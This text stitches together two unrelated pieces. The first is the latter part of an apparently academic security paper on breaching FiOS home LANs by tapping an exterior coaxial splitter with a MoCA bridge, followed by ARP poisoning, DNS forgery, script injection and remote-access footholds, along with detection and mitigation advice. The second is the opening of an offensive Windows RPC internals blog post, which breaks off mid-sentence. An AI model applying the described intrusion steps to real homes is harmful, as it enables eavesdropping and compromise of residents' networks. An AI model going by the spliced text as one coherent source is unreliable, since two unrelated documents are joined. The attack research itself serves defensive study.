splitter to the ONT. Coaxial cabling provides better shielding against both electromagnetic noise and the elements than standard CAT5e Ethernet cabling and connectors, which can only run to 100 feet [18]. This increases the range and reliability of the connection, reducing maintenance calls for the provider. In the past couple of years, more venders have released products to market to take advantage of the guaranteed bandwidth and easy availability of in-home MoCA networks. To attach standard Ethernet-based devices, like many current Blu-Ray players and Media Center devices, to the MoCA network, ActionTec, NetGear and other vendors now produce MoCA-to-Ethernet bridge units. With these units mass produced and easily available through services like Amazon, access to the MoCA network has become a trivial undertaking. This access method was selected for study. B. Situation MoCA, as commonly deployed, provides an easy and accessible means to breach network barriers. The division between internal (LAN) and external (WAN) MoCA networks occurs within the stateful packet inspection (SPI) firewall within the ActionTec router. However, with both networks running over the same physical coaxial network and hubbed outside the home, both sides of the connection become available   to   an   attacker   that   only   has   access   to   the   home’s   exterior. This removes the constraints of physical access to the network. With commonly available components, an attacker can access and attack the in-home LAN with access only to the exterior of the home. Even with access to both LAN and WAN networks, there is a frequency difference between the LAN and WAN channels that the attacker must determine to access one or the other. Also,  most  OSPs  enable  MoCA’s  data  link  protection  feature   for the MoCA WAN network between the router and the ONT. This makes attacking that portion of the traffic more difficult. However, an attacker still has options available to them on the MoCA LAN. To enable easy compatibility, most MoCA LAN implementations do not utilize link privacy. This allows third party devices to be easily introduced to the MoCA LAN with little or no additional configuration required of the user. This provides an easily accessible, unencrypted target for the attacker to begin their reconnaissance. C. Components To commit the testing, several components were necessary to enable access to the MoCA LAN network. The following table describes the items required and whether they were purchased or provided by the OSP. Table 4: MoCA Testing Components Vendor Model Description Provider ActionTec MI424WR MoCA root nodes, wireless AP, Ethernet switch, router, firewall OSP AFC MoCA terminator, fiber optic terminator, bridge OSP Tyco Electronics LIS3777 3-way 5-1000MHZ coaxial splitter OSP Netgear MCAB1001 MoCA Coax-to- Tester Ethernet Adapter RCA DH24SPR 2-way 5-2400 MHz coaxial splitter Tester RCA VH606N Digital RG-6 coaxial cable Tester x2 Dell Latitude D630 Laptop running Ubuntu 12.04 Tester Belkin Cat-5e patch cable Connect the laptop to the MoCA adapter Tester LinkSys E1000 Wireless router Tester D. Attacking the MoCA LAN 1) Penetration MoCA LAN Network Ground House Exterior Wall 2GHz 3-way Coaxial Splitter Coaxial Cable FIOS Fiber Optic Cable DVR ActionTec Router DVR ONT Figure 3: Diagram of MoCA LAN propagation in relation to the boundaries of the home As indicated by Table 4, the essential MoCA infrastructure, the ONT and router, were provided by the OSP. These are connected by either a coaxial cable via the main coaxial splitter, the method preferred by the OSP, or via a CAT-5e cable run directly from the ONT to the router. Even if the direct Ethernet WAN method is employed, the MoCA LAN is still available from the external coaxial splitter as the ActionTec requires its use to provision video and data feeds to DVR units in the home. As depicted in Figure 3, this propagation of the MoCA LAN to an exterior splitter provides an easily accessible position of influence for an attacker. MoCA LAN Network Ground House Exterior Wall 2GHz 3-way Coaxial Splitter Coaxial Cable FIOS Fiber Optic Cable DVR ActionTec Router DVR ONT 2GHz 2-way Coaxial Splitter Coax CAT5 Attacker Device MoCA bridge Figure 4: Diagram of MoCA LAN extension to enable attack from outside the physical boundary To access the exterior splitter, the path to one of the connected coaxial cables must be interrupted, then reconnected through a splitter, as diagrammed in Figure 4. The other end of the splitter then connects in a new device, the MoCA-to-Ethernet adapter. This allows the extension of the MoCA LAN network and the introduction of a new Ethernet- compatible device. To accomplish the break, the original coaxial cable was disconnected from the main splitter. A new splitter, the RCA VH606N, was introduced with a short RC-6 coaxial cable. This splitter was then connected to the original coaxial cable from the home to complete the original circuit. The other side was then connected to the Netgear MCAB1001 MoCA adapter via the second RC-6 coaxial cable. Figure 5: Color-inverted picture of components employed to split the coaxial connection and extend the MoCA LAN As Verizon does not employ the link privacy feature of MoCA for the LAN network, the MoCA adapter integrates to the MoCA LAN without additional configuration. Figure 5 shows the successful integration of the 2-way coaxial splitter, additional RC-6 coaxial cables, and MoCA adapter to enable extension of the MoCA LAN outside the house. The picture was color-inverted to draw out the components and demonstrate the difficulty in spotting the components when viewed in natural light and color. Having gained access to the MoCA LAN, passive packet captures yielded Ethernet broadcast traffic but no IP datagram traffic. This indicates that the MoCA LAN, when reconnected to Ethernet on the ActionTec router, is bridged to a switch. This media-sensing device prevents the delivery of link traffic to all hosts, instead delivering addressed Ethernet frames only to the port associated to the indicated MAC or IP address via the Address Resolution Protocol (ARP) table [19][8, pp. 476- 482]. 2) Reconnaissance To discover more about the nodes attached to the MoCA LAN and its bridged Ethernet LAN, a more active approach was necessary to overcome the limitations established by the Ethernet switch. The following diagram depicts the normal FIOS routing operation. Data flows from MoCA LAN (DVRs), Ethernet, and Wireless devices to the same Ethernet switched router, then out over the MoCA WAN to the ONT. Ethernet LAN Network MoCA LAN Network Ground House Exterior Wall 2GHz 3-way Coaxial Splitter Coaxial Cable FIOS Fiber Optic Cable DVR DVR ONT 2GHz 2-way Coaxial Splitter Coax CAT5 Attacker Device MoCA bridge ActionTec Router User Device Figure 6: Normal routing operation of the standard FIOS implemenation The switch, as an OSI layer 2 device, was subjected to an ARP poisoning attack using the Ettercap attack suite [20][21]. ARP poisoning is the injection of ARP broadcast traffic to notify all hosts on an Ethernet network that an assigned IP address on the network is associated to a MAC address [22][23]. The attack promulgated false information to the MoCA   LAN’s   bridged   Ethernet   network   to   associate   the   ActionTec  router’s  gateway  IP  address  to  the  attacking laptop computer’s  MAC  address.  Once  propagated,  all  nodes on the network communicated to the attacking laptop as the gateway. With the laptop configured to forward IP datagrams (in Ubuntu, ipv4_forward=true), a static gateway setting to the ActionTec gateway IP address, and a statically defined entry in the local ARP table for the ActionTec router, the entire network was subverted to route traffic through the attacking laptop. Ethernet LAN Network MoCA LAN Network Ground House Exterior Wall 2GHz 3-way Coaxial Splitter Coaxial Cable FIOS Fiber Optic Cable DVR DVR ONT 2GHz 2-way Coaxial Splitter Coax CAT5 Attacker Device MoCA bridge ActionTec Router User Device Redirected gateway traffic Attacker-forwarded gateway traffic Figure 7: Diagram of the ARP-poisoned network delivering traffic to the attacking node, then forwarded through the correct route ARP poisoning was the method of attack chosen to illustrate the weakness of running the internal MoCA LAN across a physically external hub. However, ARP poisoning is rather noisy and leaves detectable traces that can be captured by monitoring services [24]. While few of these detection tools would  be  running  upon  a  typical  household’s  LAN,  the   ActionTec router also proved fallible to ARP table manipulation, eventually corrupting the ARP table beyond use and rendering the ActionTec-supported LAN unroutable. While ARP poisoning provides a quick and easy method to discover assets on the LAN in a short time, there is the potential to incur a fault that will be noticed by the user. A DHCP spoofing attack would be more stable and less noisy, but requires the attacker to wait for DHCP leases to be renewed on the network [25]. Currently there are no logging systems available to record DHCP spoofing unless a network intrusion detection system is specifically instrumented to detect rogue DHCP packets or IP collisions are detected on the network, which should not happen under a single DHCP scope. However, this method requires the attacker to invest more time in asset discovery and reliably win the race condition between the responding legitimate and rogue DHCP services. With both access to and command of the routing within the household LAN, the attacker can efficiently collect authentication information, commit deep packet inspection, profile all machines on the network to plan further intrusion, and   collect   information   about   the   user’s   common   activities.   The attacker may also come across private communications that the user engages in the privacy of their home, which may provide an opportunity for embarrassment or blackmail at a later time. 3) Exploitation With OSI layers 2 and 3 of the local network under the attacker’s  control,  the  higher  layers  of  the  OSI  stack  become vulnerable to observation, redirection, interference, or injection. The MoCA LAN bridge extended the Ethernet private LAN outside of the home, negating the firewall and network address translation (NAT) barriers established by the ActionTec router to any attacker that can walk up and plug in [8, pp. 349-352]. The attacker can take a couple of paths to exploiting discovered machines running on a network bridged to a MoCA LAN. Once a target host is identified, the attacker can engage in a direct attack, such as DNS response forgery, to redirect a target from their intended destination to the attacking host or website. This enables the attacker to engage in attacks germane to the host in question, but leave other hosts alone, which reduces the likelihood of detection. Tools like Metasploit can also aid in direct attacks, attempting to take advantage of known vulnerabilities   in   a   profiled   host’s   offered services to gain illicit access to the machine [26]. 4) Deepening the foothold With control of DNS and the traffic routing, the attacker can then engage in more subversive, less detectable attacks. These indirect attacks operate by injecting malicious scripts and binaries into portions of traffic streams. Because most of the stream is legitimate and the hosts are specifically targeted based on known profiles, this allows for quiet, highly likely compromise of the target machine. For example, the Browser Exploitation Framework (BeEF) could be employed to inject a malicious javascript into a web request for a common website [27][28][29]. Exploitation frameworks, such as EvilGrade, have been combined with active attack tools to produce highly effective exploitation frameworks, such as Karmetasploit [30][31]. 5) Persistent pestilence Utilizing these powerful tools, the attacker can create alternate   means   of   access,   such   as   reverse   ‘administration’   tools (RATs) that call out and provide command-and-control from  the  attacker’s  points  of  presence.  This  would  allow  the   attacker to use the MoCA LAN attack as a first step for establishment, then disengage the physical attack after establishing  another  foothold  on  the  user’s  network. With an alternate control, the attacker can disestablish the MoCA LAN attack by simply removing the hardware. This allows for a time-limited infiltration mission to enable permanent establishment  of  remote  control  over  the  user’s  network.  This   method further reduces the likelihood of detection since the tell-tale equipment only remains at the site for the time necessary to gain an alternate channel. Should the alternate channel be interrupted, simply reapplying the MoCA LAN attack hardware can re-establish  the  aggressor’s  control  over   the  home’s  network.   To further reduce observables, the attacker can utilize an embedded system rather than a laptop. Soekris boxes provide a compact x86 platform upon which to load the open source operating systems, libraries, and software that many attack toolkits rely on [32]. Taken further, the attacker could employ a commonly available hardware attack platform, the Pwnie [33]. Use of a generic device would reduce the amount of incriminating data available to implicate the attacker as most artifacts are common to the platform. Another variation of the attack would be to pair the MoCA LAN access with a Wi-Fi access point. Access points are simply Ethernet bridges to the Wi-Fi transceiver. This functionality can be easily established by plugging any commonly available Wi-Fi router to the MoCA bridge adapter via one of its own LAN switch ports [34]. The attacker can then access  the  home’s  MoCA  LAN  from  a  distance, out of sight of the attacked property. This attack worked well during the assessment, however the half-duplex nature of wireless, along with the limitations of propagation distance over the air, presented performance challenges when attempting to spoof responses to the much speedier MoCA LAN. 6) Detection Detection of a MoCA LAN attack can be difficult. As shown in Figure 8, the access points for utilities are commonly obscured. This provides ready cover for the attacker’s  equipment.  However,  the  ActionTec  router  provides   some ways to detect a tapping aggressor. Under the Connection Configuration advanced menu, an interested user can find the Coax Connection Stats screen. This display presents a summary of all MoCA connections, including the MAC and associated IP address of each MoCA node. While this screen did display the IP address and MAC address of the MoCA bridge adapter, opening the screen is a manual process unsuitable for consistent monitoring. An easier indicator comes from the Network Status screen. This display is easily accessible from the initial dashboard and displays all LAN-connected devices, including MoCA nodes. The MAC reported was the bridged MAC of the attacking laptop’s   Ethernet   interface.   However,   the   network   indicator   clearly   states   it   is   on   the   ‘coax’   network.   This   is   easier   to   interpret, but may still be confusing to the lay user since most Blu-Ray and DVR units will appear in the same manner. This screen also requires manual access, making it unsuitable for monitoring. The ActionTec MI424WR also provides access to its ARP table from its Advanced menu. The ARP table displayed the attacking laptop and its Ethernet MAC connected to the ‘Network   (Home/Office)’   scope.   This   indicates   the   transparent nature of the bridging done by the router between the MoCA LAN and Ethernet LAN layers. Again, this is a manually accessed screen and unsuitable for monitoring without a web scraping agent. The router also supports system and security logging. Disabled by default, the user can turn these options on from the Advanced menu under System Logging. A separate screen under System Monitoring displays the collected logs. While the log did record the attackers DHCP request and registered the  laptop’s  Ethernet  MAC  address  and  IP  address  issued,  it   did not make any note of the ARP rebinding attack, duplicated IP address mappings of its routing IP, or the corruption of the router’s  ARP  table. These logs can be forwarded to a remote syslog server, enabling a more robust monitoring scheme with the necessary services and equipment. Figure 8: Demonstration of the obscurity of coaxial splitting outside the attacked home Due to the lack of effective logging of the ActionTec router, alternative methods of monitoring the MoCA LAN are necessary. However, since the MoCA LAN is employed as a simple bridging layer between Ethernet nodes, known Ethernet monitoring methods work to provide monitoring capabilities to the local LAN. Arpwatch is a tool that passively monitors ARP broadcasts for changes in the IP address allocations [19][35]. Employing this tool, the attacking ARP forgery attack and subsequent man-in-the-middle attacks were detected. At attack initiation, the  Arpwatch  logged  ‘changed  Ethernet  address’  alerts  for  all   of the network nodes as the attacking MAC claimed all of the known ARP assignments. Continued  alerts  for  ‘flip  flop’  and   ‘ethernet   mismatch’   were   produced   as   the   attack   continued   and the attacking laptop oscillated the ARP mappings between the true and false nodes to enable redirection. The end of the attack  was  notated  by  a  final  ‘flip  flop’ that re-established the original ARP mapping of the gateway IP address to its MAC address. As the ActionTec readily releases DHCP holds after their expiry, there is some churn in the mapping of MAC address to IP address, producing false positives. However, these singular alerts do not have the propensity of an ARP poisoning attack, making Arpwatch a useful monitoring tool for a MoCA LAN hijack. While beyond the capability of most home users, this tool has been readily integrated into most major Linux distributions making installation and configuration a simple task. Figure 9: DNS reconnaissance techniques used to profile deviations  from  ‘normal’  baseline  reveals  the  attacker Logging of network services upon the home LAN is another powerful toolset to leverage against infiltration. Figure 9 demonstrates how the establishment of network services like firewalls, proxy servers, and DNS cache forwarders   can   provide   useful   data   for   baselining   ‘normal’   behaviors and detecting deviations from that baseline. When properly instrumented and monitored, the attacker must make no mistakes to avoid detection. For instance, the simple act of requesting a DHCP lease could entice the attacker to automatically  send  their  machine’s  background  requests to the local   DNS   cache   forwarder.   In   this   instance,   the   attacker’s   laptop was easily distinguished from the other devices serviced by the ActionTec router as the only Ubuntu machine requesting Ubuntu.com update servers for patches. None of the legitimate nodes on the LAN ran that operating system. 7) Mitigation & Prevention Once discovered, mitigation of the MoCA LAN compromise is as simple as removing the offending equipment and restarting the router. However, this does not preclude the possibility of an alternate installed backchannel or a recurrence should the attacker return with new equipment. One solution would be to define static ARP tables on all machines within the internal LAN [24]. While this would preclude the ARP poisoning attack used in this testing for traffic redirection, it would be difficult to maintain, and require modifications to the access controls within OSP- provided equipment to enable the user to manipulate these system-managed components. Impractical to maintain and difficult to access every  node’s  ARP tables without subverting existing access controls, this is not a reasonable solution. Further, one could employ a secure ARP (s-ARP) implementation using public key infrastructure (PKI) technologies to authenticate devices at the MAC layer. This provides authenticated access from a certificate authority present upon the LAN. While a novel idea in the use of authentication techniques to definitively identify machines, it does present several drawbacks. The PKI infrastructure must be established and maintained. Additionally, s-ARP associates IP addresses with the credentials, dictating a static network design. This presents management and scalability problems for a constantly increasing and circulating employment of consumer devices within a typical household. DHCP support is possible through a non-standard patching of the DHCP server, which the implementer then has to maintain. Implementation also requires precise time precision of all devices to a local time store, a configuration requirement many OSP-provided devices cannot adhere to. These requirements make implementation of s-ARP upon the home network impractical. Beyond OSI layer 2, secure service implementations can help reduce the exposure to attack, or at least increase the likelihood of detection, should ARP poisoning occur. Creating a local DNS cache forwarder that implements DNSCrypt forwarding to the OpenDNS resolver service tunnels resolution traffic in a way not currently exploitable to an attacker [36][37]. Paired with firewall rules that require only that   service   to   be   allowed   to   communicate   with   OpenDNS’   servers for DNS protocol, the attacker loses the ability to commit DNS rebinding attacks to redirect hosts to malicious destinations [38]. It also provides an indicator to a user monitoring firewall and DNS resolution logs when the attacker attempts to circumvent or resolve through the forced channel. Securing all services bridged by the MoCA LAN can be daunting considering the number of services operating upon a normal machine. Consumer and OSP-provided devices frequently do not conform well to the requirements of forced network service architectures, like transparent proxy services. Thus the implementation of a completely secure network architecture is constrained. The most straightforward way to engage the problem involves rewiring the coaxial cables to a splitter within the home that does not leave the exterior wall. This would prevent physical access to the cabling and easy addition of a splitter and MoCA bridge. However, this may prove impractical for many existing coaxial deployments and be difficult for service providers to maintain. It would also be easy to circumvent as the coaxial cable to the exterior ONT must exist in the default deployment to support the MoCA WAN, and tools for coaxial cable splicing are readily available. As both MoCA networks share the same physical bus, the MoCA LAN is still accessible through this cable. Combining the rewiring of the main coaxial splitter within the home with an alternate physical connection from the ONT to the ActionTec router would provide a more secured WAN connection and remove access to the MoCA LAN. An Ethernet interface is available on the ONT to connect to the Ethernet WAN port on the router. Asking the OSP to configure the ONT accordingly and utilizing an armored CAT5e cable to run from the secured ONT box through the home’s   exterior   wall   would   present   a   greater   obstacle   to   an attacker, removing any easily-accessible access point to both the WAN and LAN connections. IV. FUTURE WORK Future work includes penetrating the MoCA WAN portion of the coaxial network. With access to both sides of the router NAT, reconnaissance time for LAN nodes not running through   the   ActionTec’s   Ethernet   switch   would   become   possible. Penetration of this connection may also provide layer 2 access to the upstream ISP and neighboring installations. This may present a larger array of targets to compromise for a variety of purposes. Work would also include an assessment of defenses for both the home and service provider. V. CONCLUSIONS Media over Coaxial Alliance networking protocols provide many attractive features to operational service providers. Guaranteed bandwidth, quality-of-service provisioning, and a robust RF-shielded physical network help the OSP to provide reliable, easily maintained service to customers for their high- demand entertainment requirements. However, the common implementation of these broadband services , such as external wiring and splitting, extend the internal local area networks outside the home. With commonly available equipment and software tools, an attacker can take advantage of this MoCA network extension to gain influence and subvert the LAN from outside the walls of the domicile. A single network access point yields access to all hosts on the bridged Ethernet switch – MoCA, Ethernet, and wireless alike. With influence over layer 2, the attacker can then influence vulnerabilities in upper layers of the OSI service model to commit reconnaissance, targeted exploitation, and persistent footholds upon discovered devices. Direct detection of these attacks must occur at the link layer, either via MoCA or through the bridged Ethernet LAN. Without monitoring capabilities, detection of this attack is unlikely until the failure of the router due to ARP table corruption. Indirect detection methodologies were presented, but are unlikely to be implemented by consumers of the technology. The most direct mitigation of this class of attack is for the OSP to end the practice of wiring coaxial networks to terminate at splitters outside the home. This simple fix – wiring the coaxial network to an interior splitter – would raise the effort of the attacker, requiring them to physically damage the network infrastructure at the network terminator to gain access to it. Otherwise, the implemented network is indefensible from any attacker who walks up and takes physical control. REFERENCES [1] “Multimedia   over   Coax   Alliance,”   Wikipedia,   the   free   encyclopedia.   22-Oct-2012. [Online]. Available: http://en.wikipedia.org/w/index.php? title=Multimedia_over_Coax_Alliance&oldid=516580035. [Accessed: 12-Nov-2012]. [2] “Actiontec   MI424WR   Verizon   FiOS   Router.”   [Online].   Available:   http://www.actiontec.com/products/product.php?pid=189. [Accessed: 15-Nov-2012]. [3] “Verizon   FiOS,”   Wikipedia,   the   free   encyclopedia.   14-Nov-2012. [Online]. Available: http://en.wikipedia.org/w/index.php?title= Verizon_FiOS&oldid=519797904. [Accessed: 14-Nov-2012]. [4] S.  Ovadia,  “Home  Networking  On  Coax  for  Video  and  Multimedia,”   30-May-2007. [Online]. Available: http://www.ieee802.org/1/files/ public/docs2007/at-sovadia-MoCA-overview-0507.pdf. [Accessed: 12- Nov-2012]. [5] “MoCA  1.1  Specification  for  Device  RF  Characteristics,”  Multimedia   over Coax Alliance, 15-Aug-2012. [Online]. Available: http://www.mocalliance.org/marketing/specification/MoCA_Specificat ion_for_Device_RF_Characteristics.pdf. [Accessed: 12-Nov-2012]. [6] S.  Ovadia,  “MoCA:  ubiquitous  multimedia  networking  in  the  home,”   "Proceedings of SPIE," presented at Broadband Access Communication Technologies II, 2007, vol. 6776, p. 67760C–67760C– 5. [7] J.   Peltotalo,   V.   Roca,   S.   Peltotalo,   and   J.   Lacan,   “Reed-Solomon Forward  Error  Correction  (FEC)  Schemes,”  in  IETF Network Working Group: Request for Comments: 5510, Tampere University of Technology, 2009. [Online]. Available: http://tools.ietf.org/html/ rfc5510. [Accessed: 12-Nov-2012]. [8] J. F. Kurose and K. W. Ross, "Multiple Access Links and Protocols," in Computer Networking: A Top-down Approach, 6th ed. Boston: Pearson, 2013, p. 459. [9] A. Monk, S. Palm, A. Garrett, R.   Lee,   and   T.   Leacock,   “MoCA   Protocols:   What   exactly   is   this   MoCA   thing?,”   in   Technology Conference and Open House, Austin, TX, 2007. [Online]. Available: http://www.mocalliance.org/industry/presentations/2007_11_14_Tech Conference/docs/MoCAProtocols.pdf. [Accessed: 12-Nov-2012]. [10] “What   Happens   During   FiOS   Installation?,”   Verizon   FIOS   Support.   [Online]. Available: https://www22.verizon.com/Support/Residential /Internet/fiosinternet/general+support/top+questions/questionsone/8512 5.htm. [Accessed: 17-Nov-2012]. [11] “FiOS   Installation:   The   Installation   Appointment,”   Verizon   FIOS   Support. [Online]. Available: https://www22.verizon.com/support /residential/internet/fiosinternet/general+support/getting+started/questi onsone/98266.htm. [Accessed: 17-Nov-2012]. [12] “Verizon   FIOS   Optical   Network   Terminator   Diagram.”   [Online].   Available: http://www.google.com/imgres?hl=en&client=firefox- a&hs=T0s&sa=X&tbo=d&rls=org.mozilla:en- US:official&biw=1218&bih=397&tbm=isch&tbnid=ZhDCCc1uR- 4vmM:&imgrefurl=http://www22.verizon.com/residentialhelp/fiosinter net/general%2Bsupport/getting%2Bstarted/questionsone/85263.htm&d ocid=jANMuTFCrvdeDM&imgurl=http://www22.verizon.com/cs/grou ps/public/documents/onecmsresource/ont_150_4336.gif&w=150&h=1 42&ei=iOWmUNrGPILe9ASejYDoBg&zoom=1&iact=hc&vpx=12& vpy=179&dur=233&hovh=113&hovw=120&tx=97&ty=102&sig=103 566994076620688022&page=1&tbnh=113&tbnw=120&start=0&ndsp =12&ved=1t:429,r:6,s:0,i:91. [Accessed: 17-Nov-2012]. [13] “Verizon  FIOS  Faux  Paus,”  Notes  on  Security  and  Research,  10-Aug- 2010. [Online]. Available: http://pinowudi.blogspot.com/2010/10 /verizon-fios-faux-paus.html. [Accessed: 17-Nov-2012]. [14] “Securing   a   FIOS   Network   in   the   Home,”   Notes   on   Security   and   Research, 29-Aug-2011. [Online]. Available: http://pinowudi.blogspot.com/2011/08/this-article-is-in-response-to- query.html. [Accessed: 17-Nov-2012]. [15] J.   Wright,   “Will   Hack   For   SUSHI.”   [Online].   Available:   http://www.willhackforsushi.com/. [Accessed: 17-Nov-2012]. [16] “IEEE   Standards   for   Local   Area   Networks:   Supplements   to   Carrier   Sense Multiple Access With Collision Detection (CSMA/CD) Access Method  and  Physical  Layer  Specifications,”  ANSI/IEEE  Std  802.3a,b,c,   and e-1988, 1987. p. 0_1 [17] “Coaxial   cable,”   Wikipedia,   the   free   encyclopedia.   17-Nov-2012. [Online]. Available: http://en.wikipedia.org/w/index.php? title=Coaxial_cable&oldid=522004100. [Accessed: 17-Nov-2012]. [18] “Category   5   cable,”   Wikipedia,   the   free   encyclopedia.   17-Nov-2012. [Online]. Available: http://en.wikipedia.org/w/index.php? title=Category_5_cable&oldid=523170116. [Accessed: 17-Nov-2012] [19] D.   Plummer,   “Ethernet Address Resolution Protocol: Or Converting Network Protocol Addresses to 48.bit Ethernet Address for Transmission  on  Ethernet  Hardware,”  in  RFC Editor, 1982. [Online]. Available: http://tools.ietf.org/html/rfc826. [Accessed: 12-Nov-2012]. [20] “Ettercap   (computing),”   Wikipedia,   the   free   encyclopedia.   29-Oct- 2012. [Online]. Available: http://en.wikipedia.org/w/index.php? title=Ettercap_(computing)&oldid=520362724. [Accessed: 12-Nov- 2012]. [21] A.   Ornaghi   and   M.   Valleri,   “Ettercap.”   [Online].   Available:   http://ettercap.sourceforge.net/. [Accessed: 12-Nov-2012]. [22] “ARP   spoofing,”   Wikipedia,   the   free   encyclopedia.   12-Nov-2012. [Online]. Available: http://en.wikipedia.org/w/index.php? title=ARP_spoofing&oldid=522187503. [Accessed: 12-Nov-2012]. [23] S.   Whalen,   “An   Introduction to   Arp   Spoofing,”   Apr-2001. [Online]. Available: http://dl.packetstormsecurity.net/papers/protocols /intro_to_arp_spoofing.pdf. [Accessed: 12-Nov-2012]. [24] A.  Ornaghi  and  M.  Valleri,  “Man  In  The  Middle  Attacks  Demos,”  in   BlackHat Conference USA, Las Vegas, NV, 2003. [Online]. Available: http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-ornaghi- valleri.pdf. [Accessed: 12-Nov-2012]. [25] "10079 - ettercap DHCP spoofing MITM attack," YouTube, 2009. [Online]. Available: http://www.youtube.com/watch? v=YJAglnMegMQ&feature=youtube_gdata_player. [Accessed: 17- Nov-2012]. [26] “Penetration   Testing   Software   |   Metasploit.”   [Online].   Available:   http://www.metasploit.com/. [Accessed: 19-Nov-2012]. [27] W.   Alcorn,   “BeEF   - The   Browser   Exploitation   Framework   Project.”   [Online]. Available: http://beefproject.com/. [Accessed: 19-Nov-2012]. [28] D.  Campbell  and  E.  Duprey,  “Cross  Site  Scripting  (XSS):  Exploits  &   Defenses,”   The   OWASP   Foundation,   Denver,   CO,   2007.   [Online].   Available: https://www.owasp.org/images/a/ad/ DC_ED_OWASP_XSS_MAY2008_v1.0.pdf. [Accessed: 19-Nov- 2012]. [29] M. Vallentin and Y. Ben-David,   “Persistent   Browser   Cache   Poisoning,”   2010.   [Online].   Available:   http://www.eecs.berkeley.edu/ ~yahel/papers/Browser-Cache-Poisoning.Song.Spring10.attack- project.pdf. [Accessed: 19-Nov-2012]. [30] F.  Amato  and  F.  Kirschbaum,  “You  STILL  have  pending  upgrades!,”   in DefCon 18, Las Vegas, NV, 2010. [Online]. Available: https://www.defcon.org/images/defcon-18/dc-18-presentations/Amato- Kirschabum/DEFCON-18-Amato-Kirschabum-Evilgrade.pdf. [Accessed: 19-Nov-2012]. [31] V.  Oezer,  “The  Evil  Karmetasploit  Upgrade,”  in  Nullcon,  Zuri,  India,   2009. [Online]. Available: http://nullcon.net/nullcon2010presentation /Veysel_nullcon2010_Paper.pdf. [Accessed: 19-Nov-2012]. [32] S.   Kristensen,   “Soekris   Engineering,   Inc.   |   Single   Board Communication   Computers,”   Soekris   Engineering,   2001.   [Online].   Available: http://soekris.com/. [Accessed: 19-Nov-2012]. [33] D.   Porcello,   “Pwnie   Express,”   Pwnie   Express,   2012.   [Online].   Available: http://pwnieexpress.com/pages/our-tech. [Accessed: 19- Nov-2012]. [34] No_Strings  and  DrTCP,  “Using  a  Wireless  Router  as  an  Access  Point,”   DSL Reports, 10-Jan-2012. [Online]. Available: http://www.dslreports.com/faq/11233. [Accessed: 19-Nov-2012]. [35] LBL  Network  Research  Group,  “Arpwatch,”  SecurityFocus  Tools,  09- Apr-2004. [Online]. Available: http://www.securityfocus.com/ tools/142. [Accessed: 12-Nov-2012]. [36] “DNSCrypt,”   OpenDNS.   [Online].   Available:   http://www.opendns.com/technology/dnscrypt/. [Accessed: 19-Nov- 2012]. [37] D.  J.  Bernstein,  T.  Lange,  and  P.  Schwabe,  “The  Security  Impact  of  a   New   Cryptographic   Library,”   in   Progress in Cryptology – LATINCRYPT 2012, vol. 7533, A. Hevia and G. Neven, Eds. Berlin, Heidelberg: Springer Berlin Heidelberg, 2012, pp. 159–176. [38] C. Jackson,  A.  Barth,  A.  Bortz,  W.  Shao,  and  D.  Boneh,  “Protecting   browsers  from  DNS  rebinding  attacks,”  in ACM Trans. Web, vol. 3, no. 1, 2009, pp. 2:1–2:26.
pdf
 0xcsandker  csandker  RSS Feed //Posts //History of Windows //Archive //Tags & Search //ME  Switch Theme Offensive Windows IPC Internals 2: RPC 21 Feb 2021 (Last Updated: 19 5⽉ 2021) >> The Series >> Introduction >> History >> RPC Messaging >> RPC Protocol Sequence >> RPC Interfaces >> RPC Binding >> Anonymous & Authenticated Bindings >> Registration Flags >> Security Callbacks >> Authenticated Bindings >> Well-known vs Dynamic Endpoints >> RPC Communication Flow Contents: >> Sample Implementation >> Access Matrix >> Attack Surface >> Finding Interesting Targets >> RPC Servers >> RPC Clients >> Unauthorized Access >> Client Impersonation >> Server Non-Impersonation >> MITM Authenticated NTLM Connections >> MITM Authenticated GSS_NEGOTIATE Connections >> References This is part 2 of my series: Offensive Windows IPC Internals. If you missed part one and want to take a look, you’ll nd it here: Offensive Windows IPC Internals 1: Named Pipes. Part 2 was originally planned to be about LPC & ALPC, but as it turns out it’s quite time consuming to dig out all the undocumented bits and tricks about these technologies. Therefore i made the discussion to publish my knowledge about RPC rst before turning my head towards ALPC once again. The reason why i originally planed to publish LPC & ALPC before RPC is because RPC uses ALPC under the hood when used locally and even more: RPC is the intended solution for fast local inter process communication as RPC can be instructed to process local communication via a special ALPC protocol sequence (but you’ll nd that out while reading on). Anyhow, the lesson here is (i guess) that sometimes its better to pause on a thing and get your head cleared up and make progress with something else before you get lost in something that is just not ready to reveal its mysteries to you. Get a coffee and a comfy chair and buckle up for RPC… Remote Procedure Calls (RPC) is a technology to enable data communication between a client and a server across process and machine boundaries (network communication). Therefore RPC is an Inter Process Communication (IPC) technology. Other technologies in this category are for example LPC, ALPC or Named Pipes. As the name and this category implies RPC is used to make calls to remote servers to exchange/deliver data or to trigger a remote routine. The term “remote” in this case does not describe a requirement for the communication. An RPC server does not has to be on a remote machine, and in theory does not even has to be in a different process (although this would make sense). In theory you could implement a RPC server & client in DLLs, load them into the The Series Introduction same process and exchange messages, but you wouldn’t gain much as the messages would still be routed through other components outside of your process (such as the kernel, but more on this later) and you would try to make use of an “Inter” Process Communication technology for “Intra” Process Communication. Moreover a RPC server does not need to be on a remote machine, but could as well be called from a local client. Within this blog post you can join me in discovering the insides of RPC, how it works & operates and how to implement and attack RPC clients and servers. This post is is made from an offensive view point and tries to cover the most relevant aspects the attack surface of RPC from an attackers perspective. A more defensive geared view on RPC can for example be found at https://ipc- research.readthedocs.io/en/latest/subpages/RPC.html by Jonathan Johnson The below post will contain some references to code from my sample implementations, all of this code can be found here: https://github.com/csandker/InterProcessCommunication- Samples/tree/master/RPC/CPP-RPC-Client-Server Microsoft’s RPC implementation is based on the RPC implementation of the Distributed Computing Environment (DCE) standard developed by the Open Software Foundation (OSF) in 1993. “One of the key companies that contributed [to the DCE implementation] was Apollo Computer, who brought in NCA – ‘Network Computing Architecture’ which became Network Computing System (NCS) and then a major part of DCE/RPC itself” Source: https://kganugapati.wordpress.com/tag/msrpc/ Microsoft hired Paul Leach (in 1991), one of the founding Engineers of Apollo, which might be how RPC came into Windows. Microsoft adjusted the DCE model to t their programming scheme, based the communication of RPC on Named Pipes and brought their implementation to daylight in Windows 95. Back in the days you could have wondered why they based the communication on Named Pipes, because Microsoft just came up with a new technology called Local Procedure Call (LPC) in 1994 and it sounds like it would have made sense to base a technology called Remote Procedure Call on something called Local Procedure call, right?… Well yes LPC would have been the logical choice (and I would guess they initially went with LPC), but LPC had a crucial aw: It didn’t support (and still doesn’t) asynchronous calls (more on this when i nally nish my LPC/ALPC post…), which is why 